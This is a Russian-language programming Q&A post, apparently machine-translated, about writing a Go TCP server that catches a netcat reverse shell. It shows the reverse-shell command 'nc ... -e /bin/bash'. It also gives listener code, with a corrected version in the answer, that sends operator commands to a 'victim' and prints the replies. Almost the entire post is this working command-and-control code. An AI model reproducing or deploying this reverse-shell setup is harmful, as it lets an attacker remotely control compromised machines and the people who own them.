Как мне поймать обратную оболочку netcat? - PullRequest
0 голосов
/ 24 октября 2018

Я работаю на TCP-сервере в Go.TCP-сервер должен иметь возможность перехватывать обратную оболочку из netcat:

$ nc 127.0.0.1 8080 -e /bin/bash

Я должен иметь возможность отправлять команды и получать ответы;тем не менее, мой сервер просто зависает, когда получает соединение.

Я думаю, что проблема в строке bufio.NewReader (conn) .ReadString ('\ n'), но я не знаю, какчтобы исправить это.

Можете ли вы предложить какие-либо решения, пожалуйста и спасибо?

Код сервера (примечание: обработка ошибок опущена для краткости):

func main() {
    ln, _ := net.Listen("tcp", "127.0.0.1:8080")
    for {
        conn, _ := ln.Accept()
        handleConn(conn)
    }
}

func handleConn(conn net.Conn) {
    for {
        // Receive data from netcat victim
        data, _ := bufio.NewReader(conn).ReadString('\n')
        fmt.Println(data)

        // Read command from Stdin then send to netcat victim
        reader := bufio.NewReader(os.Stdin)
        cmd, _ := reader.ReadString('\n')
        fmt.Fprintln(conn, cmd)
    }
}

1 Ответ

0 голосов
/ 24 октября 2018

Я решил свою проблему сразу же после того, как опубликовал свой вопрос (черт!).В любом случае, решение простое: поменять логику чтения и записи.После этого все заработало как надо.

Вот исправленный код:

func handleConn(conn net.Conn) {
    fmt.Println("Connection received.")
    for {
        // Read command from Stdin and send to victim
        reader := bufio.NewReader(os.Stdin)
        cmd, _ := reader.ReadString('\n')
        fmt.Fprintln(conn, cmd)

        // Receive input from connection
        data, _ := bufio.NewReader(conn).ReadString('\n')
        fmt.Println(data)
    }
}
...